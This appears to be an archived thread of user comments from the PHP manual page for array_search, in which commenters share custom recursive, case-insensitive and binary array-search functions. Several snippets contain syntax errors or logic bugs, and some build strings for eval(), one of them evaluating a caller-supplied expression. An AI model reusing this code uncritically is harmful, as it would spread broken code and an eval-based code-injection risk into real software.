                    array('type'=>'dog', 'name'=>'fido', 'sex'=>'m', 'breed'=>'doberman'),
                    'simpleValue',
                    array('type'=>'cat', 'name'=>'tiddles','sex'=>'m', 'breed'=>'maine coon'),
                    array('type'=>'horse', 'name'=>'ed','sex'=>'m', 'breed'=>'clydesdale'),
                    $std);

echo recursiveArraySearch($array, '25', 'age');        // returns 5
echo recursiveArraySearch($array, '25', 'name');    // returns false
echo recursiveArraySearch($array, 'simpleValue');    // returns 2
echo recursiveArraySearch($array, 'fido');            // returns 1
?>
kim at steinhaug dot com 19-Mar-2010 12:44
I was looking around for a recursive search by keys in multidimensional arrays. After testing the ones in this thread seems noone accually works. So I put this one together, and it does what you expect it to do.

You need to find the value for the key "han-solo".

<?php
if( ($val = array_search_key('han-solo',$array)) !== false){
  var_dump($val);
} else {
  // No keys with the name "han-solo"
}

function array_search_key( $needle_key, $array ) {
  foreach($array AS $key=>$value){
    if($key == $needle_key) return $value;
    if(is_array($value)){
      if( ($result = array_search_key($needle_key,$value)) !== false)
        return $result;
    }
  }
  return false;
}
?>
camden dot michael at gmail dot com 03-Mar-2010 10:58
I needed a case insensitive array search function for a project...

<?php
/**
 * Performs the same function as array_search except that it is case
 * insensitive
 * @param mixed $needle
 * @param array $haystack
 * @return mixed
 */

function array_nsearch($needle, array $haystack) {
   $it = new IteratorIterator(new ArrayIterator($haystack));
   foreach($it as $key => $val) {
       if(strcasecmp($val,$needle) === 0) {
           return $key;
       }
   }
   return false;
}
?>
jette at nerdgirl dot dk 01-Mar-2010 08:07
I use this function to search the value of arrays of any dimension, and return the result with keys preserved:

<?php
function multiArrayValueSearch($haystack, $needle, &$result, &$aryPath=NULL, $currentKey='') {
  if (is_array($haystack)) {
    $count = count($haystack);
    $iterator = 0;
    foreach($haystack as $location => $straw) {
      $iterator++;
      $next = ($iterator == $count)?false:true;
      if (is_array($straw)) $aryPath[$location] = $location;
        multiArrayValueSearch($straw,$needle,$result,$aryPath,$location);
        if (!$next) {
          unset($aryPath[$currentKey]);
        }
      }
    } else {
      $straw = $haystack;
      if ($straw == $needle) {
        if (!isset($aryPath)) {
          $strPath = "\$result[$currentKey] = \$needle;";
        } else {
          $strPath = "\$result['".join("']['",$aryPath)."'][$currentKey] = \$needle;";
        }
        eval($strPath);
      }
   }
}
?>

Example:

<?php
$ary['ballon']['red'][1] = 'Love';
$ary['ballon']['red'][2] = 'Valentine';
$ary['ballon']['red'][3] = 'Heart';
$ary['ballon']['green'][1] = 'Summertime';
$ary['ballon']['green'][2] = 'Hope';
$ary['ribbon']['yellow'][2] = 'Welcome';
$ary['ribbon']['red'][3] = 'Love';
$ary['ribbon']['red'][4] = 'Love';

echo "<pre>";

//Just call the function with 3 first parameters set:
//  1) The array to search
//  2) The value to find
//  3) A variable to store the result
multiArrayValueSearch($ary,'Love',$match);

print_r($match);
echo "</pre>";
?>

Output:

Array
(
    [ballon] => Array
        (
            [red] => Array
                (
                    [1] => Love
                )

        )

    [ribbon] => Array
        (
            [red] => Array
                (
                    [3] => Love
                    [4] => Love
                )

        )

)

You can easily adapt it to suit your need of matching, by changing line 16 in the function:

<?php
if ($straw == $needle) {
?>
james at bandit.co.nz 28-Jan-2010 05:33
A couple of staple custom PHP array searching functions I rely on in most of my projects;

<?php
    // array_search with partial matches and optional search by key
    function array_find($needle, $haystack, $search_keys = false) {
        if(!is_array($haystack)) return false;
        foreach($haystack as $key=>$value) {
            $what = ($search_keys) ? $key : $value;
            if(strpos($what, $needle)!==false) return $key;
        }
        return false;
    }

    // array_search with recursive searching, optional partial matches and optional search by key
    function array_find_r($needle, $haystack, $partial_matches = false, $search_keys = false) {
        if(!is_array($haystack)) return false;
        foreach($haystack as $key=>$value) {
            $what = ($search_keys) ? $key : $value;
            if($needle===$what) return $key;
            else if($partial_matches && @strpos($what, $needle)!==false) return $key;
            else if(is_array($value) && array_find_r($needle, $value, $partial_matches, $search_keys)!==false) return $key;
        }
        return false;
    }
?>

Hope they help someone!
mrjay42 at gmail dot com 13-Nov-2009 06:09
If you search a key position in an associative array (keys are uniques), i suggest this function :
<?php
public function getKeyPositionInArray($haystack, $keyNeedle)
{
    $i = 0;
    foreach($haystack as $key => $value)
    {
        if($key == $keyNeedle)
        {
            return $i;
        }
        $i++;
    }
}
?>
codeslinger at compsalot dot com 02-Oct-2009 12:22
one thing to be very aware of is that array_search() will fail if the needle is a string and the array itself contains values that are mixture of numbers and strings.  (or even a string that looks like a number)

The problem is that unless you specify "strict" the match is done using ==    and in that case any string will match a numeric value of zero which is not what you want.

-----

also, php can lookup an index pretty darn fast.  for many scenarios, it is practical to maintain multiple arrays, one in which the index of the array is the search key and the normal array that contains the data.

<?php

  $normal[$index] = array('key'=>$key, 'data'=>'foo');
  $inverse[$key] = $index;

  //very fast lookup, this beats any other kind of search

  if (array_key_exists($key, $inverse))
  {
    $index = $inverse[$key];
    return $normal[$index];
  }

?>
pi3ch at gmx dot com 28-Sep-2009 09:29
The return value for array_search is confusing if the return key is zero. it is better to double check it with in_array() function.

Example:
<?php

$SampleArray = ('a', 'b', 'c');

$Key = array_search('a', $SampleArray);
$Zero = in_array('a', $SampleArray);

if($Key == NULL && !$Zero)
   echo "Key doesnt exists";
else
   echo "Key exists";

 ?>
pvenakis at efrontlearning dot net 24-Sep-2009 05:02
if $haystack is not an array, for example false from some previous action, the function returns null instead of false in php 5.3.
temporal dot pl at gmail dot com 04-Sep-2009 03:57
Sometimes you need to find a given value in a sorted array or - if not found - detect the place where it should be. After that you can for example split the array into two halves, the  greater and the smaller one.

greenmr, dennis.decoene and php at celerondude had all posted very good binary search functions but these functions all return false if the needle was not found in the haystack. I've tweaked greenmr's code a little:

<?php
function Array_BinarySearch( $needle, $haystack, $comparator , &$probe )
{
    $high = Count( $haystack ) -1;
    $low = 0;

    while ( $high >= $low )
    {
        $probe = Floor( ( $high + $low ) / 2 );
        $comparison = $comparator( $haystack[$probe], $needle );
        if ( $comparison < 0 )
        {
            $low = $probe +1;
        }
        elseif ( $comparison > 0 )
        {
            $high = $probe -1;
        }
        else
        {
            return true;
        }
    }
    //The loop ended without a match
    //Compensate for needle greater than highest haystack element
    if($comparator($haystack[count($haystack)-1], $needle) < 0)
    {
        $probe = count($haystack);
    }
    return false;
}
?>

Now, the function returns true if it finds something and false otherwise. If a needle was found, then $probe will contain it's position. Otherwise, $probe will contain position of where the needle would be if it were there :). This is possible because we pass $probe by reference.

Example:

<?php
//ultra-simple comparator :)
function CompareNumbers($obj, $needle)
{
    return $obj - $needle;
}

//use examples
$testArr = array(10, 20, 30, 40, 50);
$res = Array_BinarySearch(30, $testArr, 'CompareNumbers', $probe);
echo (int)$res.' '.$probe.'<br />';
//output is: 1 2 - found at position 2

$res = Array_BinarySearch(45, $testArr, 'CompareNumbers', $probe);
echo (int)$res.' '.$probe.'<br />';
//output is: 0 4 - not found, but it would be at position 4 (between 40 and 45)

$res = Array_BinarySearch(-3, $testArr, 'CompareNumbers', $probe);
echo (int)$res.' '.$probe.'<br />';
//output is: 0 0 - not found, but it would be at position 0 (before 10)

$res = Array_BinarySearch(300, $testArr, 'CompareNumbers', $probe);
echo (int)$res.' '.$probe.'<br />';
//output is: 0 5 - not found, but it would be at position 5 (after 50; note, that count($haystack) == 5)
?>

See original greenmr's note for additional details about usage of this binary search: http://php.net/manual/en/function.array-search.php#89413
Nguyen KimKha 23-Aug-2009 10:18
You can remove some values from array, by using unset() and array_search().

<?php

$friends = array( 'Bob', 'Ann', 'Peter' ); // Two persons named 'Bob'
$find = 'Bob';
$key = array_search( $find, $friends ); // Find key of given value
if ($key != NULL || $key !== FALSE) {
    unset($friends[$key]); // remove key from array
}

// Now, $friends = array( 'Ann', 'Peter');

?>
Frank A Cefalu frankcefalu at gmail dot com 18-Aug-2009 11:22
The original function for searching a multidimensional array didn't let you filter by arraykeys.

This one is modified so you can search by array keys or not.

If you want a general search for a value and don't care which specific key to target you dont have to specify it but example.

<?php
$array = ("shoes" => array("test1"=> "123","test2"=>"1234","test3"=>"12345"),
             "shoes2"=> array("test1"=>"324","test2"=>"3515","test3"=>"123131");

array_search_value("123",$array,"test1"); // would return shoes
array_search_value("12223",$array,"test1"); // would return false;
?>
this makes it easier to validate a multi-dimensional array to make sure certain data is present.

Enjoy!

<?php

function array_search_value($needle,$haystack,$arraykey=FALSE) {
    foreach($haystack as $key=>$value) {
        $current_key=$key;

        if($arraykey){

            if($needle == $value[$arraykey]){
            return $value['id'];
            }

            if(array_search_value($needle,$value[$arraykey]) == true) {
            return $current_key;
            }

        }else{

            if($needle == $value)
            return $value;

            if(array_search_value($needle,$value) == true) {
                return $current_key;
            }

        }

    }
    return false;
}
?>
mikeytown2 22-Jul-2009 04:14
Made a function that I used to search the $_SERVER variable ( http://php.net/reserved.variables.server ) for matches to getcwd ( http://php.net/getcwd ) excluding some key's that I don't want.

<?php
/**
 * Returns all key/values in array that match.
 *
 * @param $needle
 *  What your searching for
 * @param $haystack
 *  Array of values
 * @param $a_not
 *  Optional array of key names to exclude
 */
function boost_array_find($needle, $haystack, $a_not = array()) {
  $out = array();
  foreach($haystack as $key=>$value) {
    if (strpos($value, $needle) !== FALSE) {
      $good = TRUE;
      foreach($a_not as $not) {
        if (strpos($key, $not) !== FALSE) {
          $good = FALSE;
        }
      }
      if ($good) {
        $out[$key] = $value;
      }
    }
  }
  return $out;
}

// Example Usage
$document_root = str_replace("\\", '/', getcwd());
$rejects = array('SCRIPT_FILENAME');
$out = boost_array_find($document_root, $_SERVER, $rejects);
print_r($out);
?>

Which should output this on most servers.
Array
(
    [DOCUMENT_ROOT] => path/to/webroot
)

On Mosso's servers it will output this
Array
(
    [PHP_DOCUMENT_ROOT] => path/to/webroot
)
Anonymous 22-Jun-2009 02:51
Here is a cool trick:

<?php
function arr_search ( $array, $expression ) {
    $result = array();
    $expression = preg_replace ( "/([^\s]+?)(=|<|>|!)/", "\$a['$1']$2", $expression );
    foreach ( $array as $a ) if ( eval ( "return $expression;" ) ) $result[] = $a;
    return $result;
}

$data = array (
    array ( "name" => "bill", "age" => 40 ),
    array ( "name" => "john", "age" => 30 ),
    array ( "name" => "jack", "age" => 50 ),
    array ( "name" => "john", "age" => 25 )
);

print_r ( arr_search ( $data, "age>=30" ) );
print_r ( arr_search ( $data, "name=='john'" ) );
print_r ( arr_search ( $data, "age>25 and name=='john'" ) );
?>

-- results --

Array
(
    [0] => Array
        (
            [name] => bill
            [age] => 40
        )

    [1] => Array
        (
            [name] => john
            [age] => 30
        )

    [2] => Array
        (
            [name] => jack
            [age] => 50
        )

)
Array
(
    [0] => Array
        (
            [name] => john
            [age] => 30
        )

    [1] => Array
        (
            [name] => john
            [age] => 25
        )

)
Array
(
    [0] => Array
        (
            [name] => john
            [age] => 30
        )

)
buddel 08-Jun-2009 08:13
the recursive function by tony have a small bug. it failes when a key is 0

here is the corrected version of this helpful function:

<?php
function recursive_array_search($needle,$haystack) {
    foreach($haystack as $key=>$value) {
        $current_key=$key;
        if($needle===$value OR (is_array($value) && recursive_array_search($needle,$value) !== false)) {
            return $current_key;
        }
    }
    return false;
}
?>
tony dot peter at wanadoo dot fr 11-May-2009 12:53
A simple recursive array_search function :

<?php
function recursive_array_search($needle,$haystack) {
    foreach($haystack as $key=>$value) {
        $current_key=$key;
        if($needle===$value OR (is_array($value) && recursive_array_search($needle,$value))) {
            return $current_key;
        }
    }
    return false;
}
?>
n-regen 05-May-2009 10:36
If you only know a part of a value in an array and want to know the complete value, you can use the following function:
<?php
function array_find($needle, $haystack)
{
   foreach ($haystack as $item)
   {
      if (strpos($item, $needle) !== FALSE)
      {
         return $item;
         break;
      }
   }
}
?>
The function returns the complete first value of $haystack that contains $needle.
alex at softservice dot org 28-Apr-2009 09:07
Can be useful for searching in a multi-dimensional array:

<?php
function array_search_in_level($needle, $haystack, $key, &$result, $searchlevel = 0) {
  while(is_array($haystack) && isset($haystack[key($haystack)])) {
    if($searchlevel == 0 && key($haystack) == $key && $haystack[$key] == $needle) {
      $result = $haystack;
    } elseif($searchlevel > 0) {
      array_search_in_level($needle, $haystack[key($haystack)], $key, $result, $searchlevel - 1);
    }
    next($haystack);
  }
}
?>

Examples:

1. 2-dimensional array, search by both key and value
$arr1 = array(
  1 => array('id' => 1, 'name' => 'Alex', 'gender' => 'male'),
  ...
  12 => array('id' => 12, 'name' => 'John', 'gender' => 'male'),
);

<?php array_search_in_level('John', $arr1, 'name', $result, 1); ?>

$result is:
array(
  'id' => int 12
  'name' => string 'John' (length=4)
  'gender' => string 'male' (length=4)
)

2. 3-dimensional array, search by value only:

<?php
$arr2 = array(
  1 => array('id' => 1, 'name' => 'Alex', 'gender' => 'male'),
  /* ... */
  12 => array('id' => 12, 'name' => 'John', 'gender' => 'male', 'friends' => array('Helen', 'Julia')),
);

array_search_in_level('Helen', $arr1, 0, $result, 2);
?>

$result is:
array(
  0 => string 'Helen' (length=5)
  1 => string 'Julia' (length=5)
)
office at drsoft dot com 02-Apr-2009 04:59
If you wish to search a multidimensional array by keys:

<?php
function extract_values_by_key ( $array, $needle_key, &$out = array () ) {
    foreach ( (array) $array as $key => $value ) {
        if ( ! is_array ( $value ) && $key == $needle_key ) {
            array_push ( $out, $value );
        }
        else {
            extract_values_by_key ( $value, $needle_key, &$out );
        }
    }

    return $out;
}
?>
elie at najberg dot fr 26-Mar-2009 06:04
This is how to search a part of a val in an array :

<?php
      function array_ereg_search($val, $array) {

          $i = 0;
          $return = array();

          foreach($array as $v) {

               if(eregi($val, $v)) $return[] = $i;
               $i++;

          }

      return $return;

      }
?>
greenmr 06-Mar-2009 11:02
Incidentally, the KeyCompare() function I described above is a generalized version. Since array_bsearch() doesn't care about specific return values, just greater then, less than, or equal to zero, when you are comparing two numbers you can greatly simplify the comparison function to something like:

<?php
  function KeyCompare( $obj, $needle ) {
      return $obj['my_key'] - $needle;
  }
?>
greenmr 06-Mar-2009 10:15
As others have noted, if your array is already sorted, a binary search is the way to go. When I realized PHP doesn't have a native one, I came here to see what others had done to implement this workhorse algorithm. While I appreciate those that have posted their own solutions here, none of those implementations met my needs. Also, due mainly to non-optimal loop processing, the code offered required extra post-processing to handle various ways the search loop may have exited. Proper coding of initial conditions and the main loop eliminates this extra processing.

Also, the solutions presented assumed a simple one-dimensional array and basic comparisons. I needed to search an array of user objects, with the comparison performed on one of the object attributes. C/C++ handles the need for comparison flexibility by the binary search function taking a parameter that points to a user function that performs any arbitrarily complex comparison and returns a defined result depending on the relative magnitudes of the compared entities. Since PHP allows similar function reference parameters, I realised it would be quite easy to implement this functionality.

I won't go into an explanation of the algorithm chosen for the main binary search function, google "binary searches" if you don't understand how they work. I will mention however that the ONLY way to exit the main loop in this function is on a match, or a definite fail. The loop will never terminate while the result of the search is indeterminate.

Some solutions I've seen here and elsewhere return the index of the found element on a match, and "false" on a fail. Since PHP treats a zero the same as false in expressions, and zero is a valid array index, using false to designate "not found" gives an ambiguous result in some cases. I chose to use the value -1 to signify a search failure instead.

<?php
    function array_bsearch( $needle, $haystack, $comparator ) {
        $high = Count( $haystack ) -1;
        $low = 0;

        while ( $high >= $low ){
            $probe = Floor( ( $high + $low ) / 2 );
            $comparison = $comparator( $haystack[$probe], $needle );
            if ( $comparison < 0 ) {
                $low = $probe +1;
            } elseif ( $comparison > 0 ) {
                $high = $probe -1;
            } else {
                return $probe;
            }
        }

      // ---The loop ended without a match
      return -1;
    }
?>

In this function the parameters "$needle" and "$haystack" have the same meaning as for the native array_search() PHP function. The third parameter, "$comparator" is the name of the function to use to determine if an array element matches the needle.

The array_bsearch() function is self-contained, and doesn't need modification no matter how complex the comparison needs to be. The actual comparison is performed by a purpose-written user function that takes two parameters and returns a numerical result. array_bsearch() will call this function each time it needs to compare an array element to the needle. The first parameter passed will be the element to test, and the second will the the needle value passed to array_bsearch(). Note that if you will always search for the same thing your user function can ignore the second parameter and hard-code the test on the first parameter.

The comparison user function must return a positive number if the element is greater than the needle, a negative number if it is smaller than the needle, and zero if they match.

Given a scenario where you want to find the index of a user object loaded from MySQL in an array, where the "my_key" property equals 54. Here's how you could code it using a user function and the new array_bsearch() function.

<?php
  function KeyCompare( $obj, $needle ) {
      if ( $obj['my_key'] < $needle ) {
          return -1;
      } elseif ( $obj['my_key'] > $needle ) {
          return 1;
      } else {
          return 0;
      }
  }

  $index = array_bsearch( 54, $my_array, 'KeyCompare' );
?>

Hope this is helpful to somebody out there.
info at [hidden] dot apanel dot nl 04-Feb-2009 05:27
I made this function after I didnt find a recursive array_search function with a limit and the possibility to inverse the search. So here is it:

<?php

function search_in_array ($needle, $haystack, $inverse = false, $limit = 1) {

    # Settings
    $path = array ();
    $count = 0;

    # Check if inverse
    if ($inverse == true)
        $haystack = array_reverse ($haystack, true);

    # Loop
    foreach ($haystack as $key => $value) {

        # Check for return
        if ($count > 0 && $count == $limit)
            return $path;

        # Check for val
        if ($value === $needle) {

            # Add to path
            $path[] = $key;

            # Count
            $count++;

        } else if (is_array ($value)) {

            # Fetch subs
            $sub = search_in_array ($needle, $value, $inverse, $limit);

            # Check if there are subs
            if (count ($sub) > 0) {

                # Add to path
                $path[$key] = $sub;

                # Add to count
                $count += count ($sub);
            }
        }
    }

    return $path;
}

?>
helenadeus at gmail dot com 25-Jan-2009 01:05
I was trying to use array_search to retrieve all the values that match a given needle, but it turns out only the first match key is returned. I built this little function, which works just like array_search, but returns all the keys that match a given needle instead. The output is an array.

<?php

$haystack = array('a','b','a','b');

$needle = 'a';

print_r(array_search_all($needle, $haystack));

//Output will be
// Array
// (
//         [0]=>1
//         [1]=>3
// )

function array_search_all($needle, $haystack)
{#array_search_match($needle, $haystack) returns all the keys of the values that match $needle in $haystack

    foreach ($haystack as $k=>$v) {

        if($haystack[$k]==$needle){

           $array[] = $k;
        }
    }
    return ($array);

}

?>
tim_hauber at stev dot net 07-Jan-2009 08:50
A slight addition to array_search_recursive by Alireza Eliaderani below.  The original searched the entire haystack, even if it found the needle at the beginning of the haystack. I must admit I had a little trouble wrapping my head around how to break out of a loop in a recursive function.  This version returns after first occurrence of needle. changes commented.

<?php
function array_search_recursive($needle, $haystack){
    $path=array();
    foreach($haystack as $id => $val)
    {

         if($val === $needle) {
              $path[]=$id;

             break;
             # ^^this breaks out of loop when it finds needle

         } else if(is_array($val)){
             $found=array_search_recursive($needle, $val);
              if(count($found)>0){
                  $path[$id]=$found;

                 break;
                # ^^this breaks out of loop when recursive call found needle

             }
          }
      }
      return $path;
}
?>
azaozz, gmail 20-Dec-2008 05:23
Expanding on the comment by hansen{}cointel.de:

When searching for a string and the array contains 0 (zero), the string is casted to (int) by the type-casting which is always 0 (perhaps the opposite is the proper behaviour, the array value 0 should have been casted to string). That produces unexpected results if strict comparison is not used:

<?php
$a = array(0, "str1", "str2", "str3");
echo "
str1 = ".array_search("str1", $a).",
str2 = ".array_search("str2", $a).",
str3 = ".array_search("str3", $a).",

str1 strict = ".array_search("str1", $a, true).",
str2 strict = ".array_search("str2", $a, true).",
str3 strict = ".array_search("str3", $a, true);
?>

This will return:
str1 = 0, str2 = 0, str3 = 0, str1 strict = 1, str2 strict = 2, str3 strict = 3
grezvany13 [at] notitia.nl 11-Dec-2008 03:32
This function can search for an array or string within an array.

<?php
function array_search_array($needle, $haystack){
    if(is_array($needle) && is_array($haystack)) {
        $tmp = array_diff_assoc($needle, $haystack);
        if(empty($tmp)) return true;
        foreach($haystack as $value) {
            if(is_array($value)) {
                $tmp = array_diff_assoc($needle, $value);
                if(empty($tmp)) return true;
            }
        }
    }
    if(is_array($haystack) && !is_array($needle)) {
        foreach($haystack as $value) {
            if(is_array($value)) {
                $tmp = array_diff_assoc($needle, $value);
                if(empty($tmp)) return true;
            } elseif($needle == $value) return true;
        }
    } elseif($needle == $haystack) return true;
    return false;
}
?>

It's not recursive yet, so please improve it if you feel for it ;)
Alireza Eliaderani 25-Nov-2008 10:42
this function return a multidimensional path of recursively founded $needle in a multidimensional $haystack

<?php
function array_search_recursive($needle, $haystack){
    $path=array();
    foreach($haystack as $id => $val)
    {

         if($val === $needle)
              $path[]=$id;
         else if(is_array($val)){
             $found=array_search_recursive($needle, $val);
              if(count($found)>0){
                  $path[$id]=$found;
              }
          }
      }
      return $path;
}
?>
michi7x7 17-Nov-2008 11:32
If you exit the function whith "return", there is no need to break ;)

i would write it like this:

<?php

function array_search_recursive($needle, $haystack, $path=array())
{
    foreach($haystack as $id => $val)
    {
         $path2=$path;
         $path2[] = $id;

         if($val === $needle)
              return $path2;
         else if(is_array($val))
              if($ret = array_search_recursive($needle, $val, $path2))
                   return $ret;
      }
      return false;
}

$array = array(
   "a" => array(
       "b" => array("c"),
       "d" => array("e"),
       ),
    "f" => array( "g", "h"),
    );

var_dump(array_search_recursive("e", $array));

?>

var dump prints a array: (a, d, 0)
s0i0m at dreamevilconcepts dot com 12-Sep-2008 02:39
I wrote a better array_search_recursive function.  The other functions listed work and will evaluate to true, however, they loop through the stack even after the needle is found: so this function will take the overhead off the cpu =P

<?php

  function array_search_recursive($needle, $haystack)
  {
    foreach ($haystack as $k => $v)
    {
      for ($i=0; $i<count($v); $i++)
        if ($v[$i] === $needle)
        {
          return true;
          break;
        }
    }
  }

  $access['admin'] = array('nick1');
  $access['voice'] = array('nick2', 'nick3');

  if (array_search_recursive('nick3', $access))
    echo 'yes';
  print_r($access);

?>

I wrote this for an access list that I have implemented into an IRC bot.  See more interesting stuff at dreamevilconcept's forum.
dcez at land dot ru 30-Apr-2008 01:15
Simple way to get variable name by using array_search function:

<?php

function varname($var){

    return (isset($var))? array_search($var, $GLOBALS) : false;

}

$boogie = 'tonight';

echo varname($boogie);

?>
andreas dot damm at maxmachine dot de 03-Apr-2008 04:07
Combining syntax of array_search() and functionality of array_keys() to get all key=>value associations of an array with the given search-value:
<?php
function array_search_values( $m_needle, $a_haystack, $b_strict = false){
    return array_intersect_key( $a_haystack, array_flip( array_keys( $a_haystack, $m_needle, $b_strict)));
}
?>

Usage:
<?php
$array1 = array( 'pre'=>'2', 1, 2, 3, '1', '2', '3', 'post'=>2);
print_r( array_search_values( '2', $array1));
print_r( array_search_values( '2', $array1, true));
print_r( array_search_values( 2, $array1, true));
?>

Will return:
array(4) {
    ["pre"] =>
    string(1) "2"
    [1] =>
    int(2)
    [4] =>
    string(1) "2"
    ["post"] =>
    int(2)
}
array(2) {
    ["pre"] =>
    string(1) "2"
    [4] =>
    string(1) "2"
}
array(2) {
    [1] =>
    int(2)
    ["post"] =>
    int(2)
}
dot dot dot dot dot alexander at gmail dot com 09-Mar-2008 08:30
This is the phpfied version of the array_search function for PHP version under 4.0.5

<?php
if(!function_exists("array_search")){
    function array_search( $needle, $haystack, $strict = FALSE ){
        if( !is_array($haystack) )return FALSE;
        foreach($haystack as $key => $val){
            if(   (  ( $strict ) && ( $needle === $val )  ) || (  ( !$strict ) && ( $needle == $val )  )   )return $key;
        }
        return FALSE;
    }/* endfunction array_search */
}/* endfunction exists array_search*/
?>
mjaning at gmail dot com 05-Feb-2008 11:42
Hi! Based on Chris function, I made another to simplify code and improve diferents features...

With this function you can:
- Filter Key and Values recursively
- Call function many times using previows result
- Final result always will be an array numeric index contenting a value or sigle array key=>value.

Thanks for PHP!

<?php
function array_search_recursive($needle, $haystack, $nodes=array())
{
  foreach ($haystack as $key1=>$value1)
  {
    if (is_array($value1))
      $nodes = array_search_recursive($needle, $value1, $nodes);
   elseif (($key1 == $needle) or ($value1 == $needle))
      $nodes[] = array($key1=>$value1);
  }
  return $nodes;
}

$arg[] = array("column1"=>"Class3");
$arg[] = array("column2"=>"Class1");
$arg[] = array("column3"=>"Class3");
$arg[] = array("column4"=>"Class4");
$arg[] = array("column4"=>"Class3");
$arg[] = "column3";

$filter = array_search_recursive("Class3",$arg);
echo "<hr>";var_dump($filter);

$filter = array_search_recursive("column3",$filter);
echo "<hr>";var_dump($filter);
?>
pmmout at gmail dot com 29-Jan-2008 04:55
MultiArray find function.
After some time unsuccessful looking for algorithm to find a string in multidimensional array I wrote one:

<?php
function multidimArrayLocate($array, $text){
  foreach($array as $key => $arrayValue){
    if (is_array($arrayValue)){
      if ($key == $text) $arrayResult[$key] = $arrayValue;
      $temp[$key] = multidimArrayLocate($arrayValue, $text);
      if ($temp[$key]) $arrayResult[$key] = $temp[$key];
    }
    else{
      if ($key == $text) $arrayResult[$key] = $arrayValue;
    }
  }
  return $arrayResult;
}
?>
steev at anticulture dot co dot uk 13-Jan-2008 02:46
Just adding my two penneth to someone else's script from below. If you need to easily index your csv use this slightly modified script to parse a csv file into an associative array 2d, indexed by the first column value

<?php
function buildStock($File) {
        $handle = fopen($File, "r");
        $fields = fgetcsv($handle, 1000, ",");

        while($data = fgetcsv($handle, 1000, ",")) {
            $detail[] = $data;
        }
        echo "details";
        var_dump($detail);
        echo "<br />";

        $x = 0;
        $y = 0;

        foreach($detail as $i) {
            foreach($fields as $z) {
                //original code
                //$stock[$x][$z] = $i[$y];
                $stock[$i['0']][$z] = $i[$y];
                $y++;
            }
            $y = 0;
            $x++;
        }
        return $stock;
    }

var_dump(buildStock("conf.csv"));
?>
toni dot garcia dot gutsens at gmail dot com 02-Dec-2007 05:35
Make a recursive search on array and return the matches elements in the same structure than the original array and unset empty arrays:

<?php
function array_search_recursive($needle, $haystack,&$tree=Array(),$index=""){
        if (is_array($haystack)){
            if (count($tree)==0) $tree=array_merge(Array(),$haystack);
            foreach($haystack as $k=>$current){
                if (is_array($current)){
                    array_search_recursive($needle,$current,$tree,$index."[$k]");
                    eval("\$a=\$tree{$index}[{$k}];"); // unset all elements = empty array
                    if (count($a)==0)  //is empty?
                        eval("unset(\$tree{$index}[$k]);"); // unset array
                }
                else{
                    if ($current!=$needle){
                        eval("unset(\$tree{$index}[{$k}]);");
                    }
                }
            }
        }
        return $tree;
    }
?>
chris 20-Nov-2007 07:11
<?php

/*Another recursive array_search that works better for me
* Returns all the keys to all the needles found
*and put them in an array.
*/

function array_search_recursive($needle, $haystack, $a=0, $nodes_temp=array()){
global $nodes_found;
  $a++;
  foreach ($haystack as $key1=>$value1) {
    $nodes_temp[$a] = $key1;
    if (is_array($value1)){
      array_search_recursive($needle, $value1, $a, $nodes_temp);
    }
    else if ($value1 === $needle){
      $nodes_found[] = $nodes_temp;
    }
  }
  return $nodes_found;
}
?>
kermes [at] thesevens [dot] net 11-Sep-2007 03:09
A variation of previous searches that returns an array of keys that match the given value:

<?php
function array_ksearch($array, $str)
{
    $result = array();
    for($i = 0; $i < count($array); next($array), $i++)
        if(strtolower(current($array)) == strtolower($str))
            array_push($result, key($array);

    return $result;
}
?>

Usage would be as follows:
<?php
$testArray = array('one' => 'test1', 'two' => 'test2', 'three' => 'test1', 'four' => 'test2', 'five' => 'test1');
    print_r(array_ksearch($testArray, 'test1'));
?>
robertark at gmail dot com 01-Sep-2007 11:20
A better array_isearch would be to store all results in an array, then return the KEYS stored in $found, such as:

<?php
function array_isearch($str, $array){
  $found = array();
  foreach ($array as $k => $v)
      if (strtolower($v) == strtolower($str)) $found[] = $k;
  return $found;
}
?>

To use, simply have an array to search from then search it, for example:

<?php

function array_isearch($str, $array) {
  $found = array();
  foreach($array as $k => $v)
    if(strtolower($v) == strtolower($str)) $found[] = $k;
  return $found;
}

$stored = "these are an array";
$stored = explode(" ", $stored);

$compare = array("these", "are", "some", "results", "stored", "in", "an", "array");
foreach($stored as $store) {
  $results = array_isearch($store, $compare);
  foreach($results as $key => $result)
    echo "Key: ".$results[$key]."<br />Found: ".$compare[$result]."<br />";
}

?>

Hope this helps :-)

-Rob
php5 site builder 23-May-2007 10:14
If you encounter a situation where condition test is failing on the result of either array_search or in_array, even when using "===" and "!==", make sure to set $strict = true in your array_search() or in_array() function call.

A situation such as :

$arTemp[0] = 1;
$arTemp[1] = 0;
$arTemp[2] = 3;
$arTemp[3] = 5;
$sTempTest = 'BLAH';

$bResult = in_array($sTempTest,$arTemp);
$bResult2 = array_search($sTempTest,$arTemp);

var_dump($bResult);
var_dump($bResult2);

will result in :

boolean true
int 1

Using :

$bResult = in_array($sTempTest,$arTemp,true);
$bResult2 = array_search($sTempTest,$arTemp,true);

will yield :
boolean false
boolean false

This is necessary in any instance where you have an array value equal to the integer zero.  As soon as you put the zero in quotes or double quotes (a string), the evaluation works with in_array & array_search without the $strict parameter being set.
elvenone at gmail dot com 27-Jan-2007 05:10
<?php
                // Search an array in reverse order.
        function array_reverse_search($value, $array) {
             for($i = sizeof($array)-1; $i>=0; $i--) {
                if ($array[$i] == $value) return $i;
             }
            return -1;
        }
?>
francois at tekwire dot net 18-Jan-2007 02:34
Please note that, in PHP5, if you search for an object in an array using the array_search() function, PHP will return the first object whose properties match, not the same class and instance as your needle. In other words, the object comparison is of type '==', not '===' (see the 'Comparing objects' page).
erick dot xavier at gmail dot com 04-Jan-2007 04:57
Modifing the "multiarray_search" to unordered Array....
<?PHP
function multiarray_search($arrayVet, $campo, $valor){
    while(isset($arrayVet[key($arrayVet)])){
        if($arrayVet[key($arrayVet)][$campo] == $valor){
            return key($arrayVet);
        }
        next($arrayVet);
    }
    return -1;
}

//I.e.:

$myArr = array(
    13 => array(
        "fruit" => "banana"
    ),
    654 => array(
        "fruit" => "apple"
    ),
    2445 => array(
        "fruit" => "nothing more"
    )
);

print(multiarray_search($myArr , "fruit", "apple"));

/*
Output:
654
*/

//and

print(multiarray_search($myArr , "fruit", "orange"));

/*
Output:
-1
*/
?>
otto at twbc dot net 13-Dec-2006 11:06
Unlimited depth array regular expression search, I found it useful, perhaps someone else will too. Searches on the array values only. Key search could be easily added.

<?php
function Array_Search_Preg( $find, $in_array, $keys_found=Array() )
{
    if( is_array( $in_array ) )
    {
        foreach( $in_array as $key=> $val )
        {
